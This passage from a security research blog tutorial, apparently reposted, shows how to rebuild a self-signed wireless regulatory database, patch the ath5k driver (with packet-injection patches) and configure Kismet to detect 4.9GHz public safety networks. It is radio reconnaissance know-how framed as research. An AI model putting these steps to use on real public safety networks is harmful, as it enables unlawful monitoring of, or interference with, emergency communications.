Now, we'll download wireless-regdb, extract it, and build:
 root@bt:~# wget http://linuxwireless.org/download/wireless-regdb/wireless-regdb-2011.04.28.tar.bz2
 root@bt:~# tar -jxf wireless-regdb-2011.04.28.tar.bz2
 root@bt:~# cd wireless-regdb-2011.04.28
 root@bt:~/wireless-regdb-2011.04.28# make


The regulatory database is just a plain-text file that is then converted to the format CRDA expects. You can modify your database any way you'd like, or you can just use the one I created (db-ReturnTrue.txt):
 root@bt:~/wireless-regdb-2011.04.28# wget https://raw.github.com/OpenSecurityResearch/public-safety/master/4.9ghz/db-ReturnTrue.txt
 root@bt:~/wireless-regdb-2011.04.28# cp db-ReturnTrue.txt db.txt
 root@bt:~/wireless-regdb-2011.04.28# ./db2bin.py regulatory.bin db.txt ../key_for_regdb.priv.pem
 root@bt:~/wireless-regdb-2011.04.28# make install


Now that our regulatory database is all set up, lets install CRDA to leverage it. Notice that after we download and extract, we also copy over our public keys to the locations CRDA is expecting them to be. This is so it can validate the authenticity of the regulatory database we created.
 root@bt:~# wget http://linuxwireless.org/download/crda/crda-1.1.2.tar.bz2
 root@bt:~# tar -jxf crda-1.1.2.tar.bz2
 root@bt:~# cd crda-1.1.2
 root@bt:~/crda-1.1.2# cp ../key_for_regdb.pub.pem pubkeys/
 root@bt:~/crda-1.1.2# cp ../key_for_regdb.pub.pem /usr/lib/crda/pubkeys
 root@bt:~/crda-1.1.2# make
 root@bt:~/crda-1.1.2# make install


So now we can get to the compat-wireless installation. First download it, then extract:
 root@bt:~#  wget http://www.orbit-lab.org/kernel/compat-wireless-3-stable/v3.3/compat-wireless-3.3-1.tar.bz2
 root@bt:~# tar -jxf compat-wireless-3.3-1.tar.bz2
 root@bt:~# ln -s /usr/src/linux /lib/modules/`uname -r`/build
 root@bt:~# cd compat-wireless-3.3-1


Next we'll unload any conflicting drivers (I'm being a little redundant with these two commands, I know):
 root@bt:~/compat-wireless-3.3-1# sudo scripts/wlunload.sh
 root@bt:~/compat-wireless-3.3-1# sudo modprobe -r b43 ath5k ath iwlwifi iwlagn mac80211 cfg80211


And then tell compat-wireless to just compile ath5k:
 root@bt:~/compat-wireless-3.3-1# scripts/driver-select ath5k


Now we'll download the default set of patches for BT5R2 and apply them (you may get some errors when applying, you should be able to ignore them):
 root@bt:~/compat-wireless-3.3-1# wget http://www.backtrack-linux.org/2.6.39.patches.tar
 root@bt:~/compat-wireless-3.3-1# tar -xf 2.6.39.patches.tar
 root@bt:~/compat-wireless-3.3-1# patch -p1 < patches/mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
 root@bt:~/compat-wireless-3.3-1# patch -p1 < patches/mac80211.compat08082009.wl_frag+ack_v1.patch
 root@bt:~/compat-wireless-3.3-1# patch -p1 < patches/zd1211rw-2.6.28.patch
 root@bt:~/compat-wireless-3.3-1# patch -p1 < patches/ipw2200-inject.2.6.36.patch


Then lets apply the 4.9ghz patch:
 root@bt:~/compat-wireless-3.3-1# wget https://raw.github.com/OpenSecurityResearch/public-safety/master/4.9ghz/compat-wireless-3.3-1_ath5k-49GHZ+BWMODE.patch
 root@bt:~/compat-wireless-3.3-1# patch -p1 < compat-wireless-3.3-1_ath5k-49GHZ+BWMODE.patch


Ok! now we're ready to build:
 root@bt:~/compat-wireless-3.3-1# make
 root@bt:~/compat-wireless-3.3-1# make install
 root@bt:~/compat-wireless-3.3-1# cd ..


After this, we're more or less finished. The thing is that you'll probably want to also upgrade your kismet to find these networks. It's highly recommended that you use the latest version of kismet from the git repo.

Updating Kismet

If you followed the easy way above, then you should be already updated. If you're following the manual way, uninstall the installed version of kismet:
 root@bt:~# dpkg -r kismet


Then grab the latest development version of kismet and compile it:
 root@bt:~# git clone https://www.kismetwireless.net/kismet.git
 root@bt:~# cd kismet
 root@bt:~/kismet# ./configure
 root@bt:~/kismet# make dep
 root@bt:~/kismet# make
 root@bt:~/kismet# make install


You'll also need to define a new channel list in your kismet.conf to support this. I've added the following. I chose to use .5MHz channel spacing since many 4.9GHz deployments have varying channel layouts.
 channellist=ps5mhz:4920-4990-5-.5
 channellist=ps10mhz:4920-4990-10-.5
 channellist=ps20mhz:4920-4990-20-.5


Finally, to change to a different channel width (other than 20MHz) you'll need to define the "default_bwmode" module parameter. For 5MHz channels, define "default_bwmode=1", for 10MHz, "default_bwmode=2", and for 40MHz, "default_bwmode=3". Also, for whatever reason, if you're using a channel width other than 20MHz, you'll also need to manually create a monitor mode VAP (e.g. "mon0") and use that as your source for kismet. Here's how to set it up:
 root@bt:~# modprobe ath5k default_bwmode=2
 root@bt:~# iw dev wlan1 interface add mon0 type monitor
 root@bt:~# ifconfig mon0 up
 root@bt:~# iwconfig mon0 freq 4.920G


Is it Working?

Once everything is running, kismet should look normal, just with the previously undiscovered AP available! Note that this band is highly regulated in the US, so you won't see these networks everywhere. And since the transmit distance is so small, you'll likely need to be in near line of sight of the 4.9GHz network you're looking at. Here's a screen shot of kismet discovering our test AP (located in a faraday cage, in a country where it is legal to transmit on 4.9GHz, of course):


Want to learn more?

This article is a precursor to the talk Robert Portvliet and I will be giving this year at Defcon 20. So if this sparks your interest, stop by - we'll be talking about 4.9GHz and the other Public Safety Bands!

Fente:http://blog.opensecurityresearch.com
Powered by Bad Robot
Helped by Blackubay